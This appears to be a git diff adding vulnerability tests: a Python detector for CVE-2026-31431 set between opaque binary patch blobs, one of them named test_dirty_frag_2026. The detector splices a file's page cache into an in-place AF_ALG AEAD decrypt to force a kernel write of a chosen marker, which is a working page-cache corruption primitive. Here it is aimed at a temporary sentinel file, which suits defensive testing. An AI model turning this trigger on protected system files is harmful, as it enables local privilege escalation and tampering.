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 + +ALG_NAME = "authencesn(hmac(sha256),cbc(aes))" +PAGE = 4096 +ASSOCLEN = 8 # SPI(4) || seqno_lo(4) +CRYPTLEN = 16 # one AES block +TAGLEN = 16 # truncated HMAC-SHA256 +MARKER = b"PWND" + + +def build_authenc_keyblob(authkey: bytes, enckey: bytes) -> bytes: + # struct rtattr { u16 rta_len; u16 rta_type } || __be32 enckeylen || keys + rtattr = struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) + keyparam = struct.pack(">I", len(enckey)) + return rtattr + keyparam + authkey + enckey + + +def precheck() -> str | None: + if not os.path.exists("/proc/crypto"): + return "/proc/crypto missing" + try: + socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close() + except OSError as e: + return f"AF_ALG socket family unavailable ({e.strerror})" + try: + s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) + s.bind(("aead", ALG_NAME)) + s.close() + except OSError as e: + return f"{ALG_NAME!r} cannot be instantiated ({e.strerror})" + return None + + +def attempt_trigger(target_path: str) -> tuple[bool, bytes]: + sentinel = (b"COPYFAIL-SENTINEL-UNCORRUPTED!!\n" * (PAGE // 32))[:PAGE] + with open(target_path, "wb") as f: + f.write(sentinel) + + # Populate page cache. + fd_target = os.open(target_path, os.O_RDONLY) + os.read(fd_target, PAGE) + os.lseek(fd_target, 0, os.SEEK_SET) + + # Master socket: bind + key. + master = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) + master.bind(("aead", ALG_NAME)) + master.setsockopt( + SOL_ALG, ALG_SET_KEY, + build_authenc_keyblob(b"\x00" * 32, b"\x00" * 16), + ) + op, _ = master.accept() + + # Per-op parameters travel as control messages on sendmsg, not setsockopt. + # AAD bytes 4..7 are seqno_lo - the value the buggy scratch-write copies + # into dst[assoclen + cryptlen]. We pick MARKER so corruption is obvious. + aad = b"\x00" * 4 + MARKER + cmsg = [ + (SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)), + (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), + (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", ASSOCLEN)), + ] + op.sendmsg([aad], cmsg, socket.MSG_MORE) + + # Splice CRYPTLEN+TAGLEN bytes of the target's page-cache page into the + # op socket. Because algif_aead runs in-place (req->dst = req->src), those + # page-cache pages now sit in the destination scatterlist. + pr, pw = os.pipe() + try: + n = os.splice(fd_target, pw, CRYPTLEN + TAGLEN, offset_src=0) + if n != CRYPTLEN + TAGLEN: + raise RuntimeError(f"splice file->pipe short: {n}") + n = os.splice(pr, op.fileno(), n) + if n != CRYPTLEN + TAGLEN: + raise RuntimeError(f"splice pipe->op short: {n}") + except OSError as e: + os.close(pr); os.close(pw) + op.close(); master.close(); os.close(fd_target) + if e.errno in (errno.EOPNOTSUPP, errno.ENOTSUP): + raise RuntimeError( + "splice into AF_ALG socket not supported on this kernel - " + "the page-cache attack vector is not reachable here" + ) from e + raise + + # Drive the algorithm. Auth check will fail (we sent zero ciphertext+tag); + # EBADMSG is fine - the scratch write fires before/independent of verify. + try: + op.recv(ASSOCLEN + CRYPTLEN + TAGLEN) + except OSError as e: + if e.errno not in (errno.EBADMSG, errno.EINVAL): + raise + + op.close() + master.close() + os.close(pr) + os.close(pw) + + # Read back via the existing fd (page cache, not disk). + os.lseek(fd_target, 0, os.SEEK_SET) + after = os.read(fd_target, PAGE) + os.close(fd_target) + + return after, sentinel + + +def kernel_in_affected_line() -> bool: + # Per the disclosure, fixes landed on the 6.12, 6.17 and 6.18 stable lines. + rel = os.uname().release.split("-")[0] + parts = rel.split(".") + try: + major, minor = int(parts[0]), int(parts[1]) + except (ValueError, IndexError): + return False + return (major, minor) >= (6, 12) + + +def main() -> int: + print(f"[*] CVE-2026-31431 detector kernel={os.uname().release} " + f"arch={os.uname().machine}") + if not kernel_in_affected_line(): + print(f"[i] Kernel {os.uname().release} predates the affected " + f"6.12/6.17/6.18 lines; trigger may not apply even if " + f"prerequisites match.") + + reason = precheck() + if reason: + print(f"[+] Precondition not met ({reason}). NOT vulnerable.") + return 0 + print(f"[+] AF_ALG + {ALG_NAME!r} loadable - precondition met.") + + tmp = tempfile.mkdtemp(prefix="copyfail-") + target = os.path.join(tmp, "sentinel.bin") + try: + after, sentinel = attempt_trigger(target) + except Exception as e: + print(f"[!] Trigger failed: {type(e).__name__}: {e}") + return 1 + finally: + try: + os.remove(target) + os.rmdir(tmp) + except OSError: + pass + + # The exact landing offset of the 4-byte scratch write depends on how + # the source/destination scatterlists are laid out by algif_aead for this + # combination of inline-AAD + spliced-page input. What's invariant is that + # the 4 bytes from AAD seqno_lo (our marker) appear somewhere in the page, + # AND the marker is not present in the original sentinel. + marker_off = after.find(MARKER) + marker_orig = sentinel.find(MARKER) + diffs = [i for i in range(PAGE) if after[i] != sentinel[i]] + + if marker_off >= 0 and marker_orig < 0: + ctx = after[max(marker_off - 4, 0):marker_off + 12] + print(f"[!] VULNERABLE to CVE-2026-31431.") + print(f"[!] Marker {MARKER!r} (AAD seqno_lo) landed in the spliced " + f"page-cache page at offset {marker_off}.") + print(f"[!] Surrounding bytes: {ctx.hex()} ({ctx!r})") + print(f"[!] Apply the upstream fix or block algif_aead immediately.") + return 2 + + if diffs: + first = diffs[0] + window = after[first:first + 16] + print(f"[!] Page cache MODIFIED via in-place AEAD splice path " + f"({len(diffs)} bytes changed, first at offset {first}).") + print(f"[!] Window: {window.hex()}") + print(f"[!] The controllable scratch-write marker did not land, but " + f"the kernel still allowed a page-cache page into the writable " + f"AEAD destination scatterlist.") + print(f"[!] Treat as VULNERABLE to the underlying bug class until " + f"a patched kernel is installed.") + return 2 + + print("[+] Page cache intact. NOT vulnerable on this kernel.") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/exploit-tests/test_dirty_frag_2026 b/exploit-tests/test_dirty_frag_2026 new file mode 100755 index 0000000000000000000000000000000000000000..d938f94fc86f70acfbfeb43c420b014a32a94e22 GIT binary patch literal 58784 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 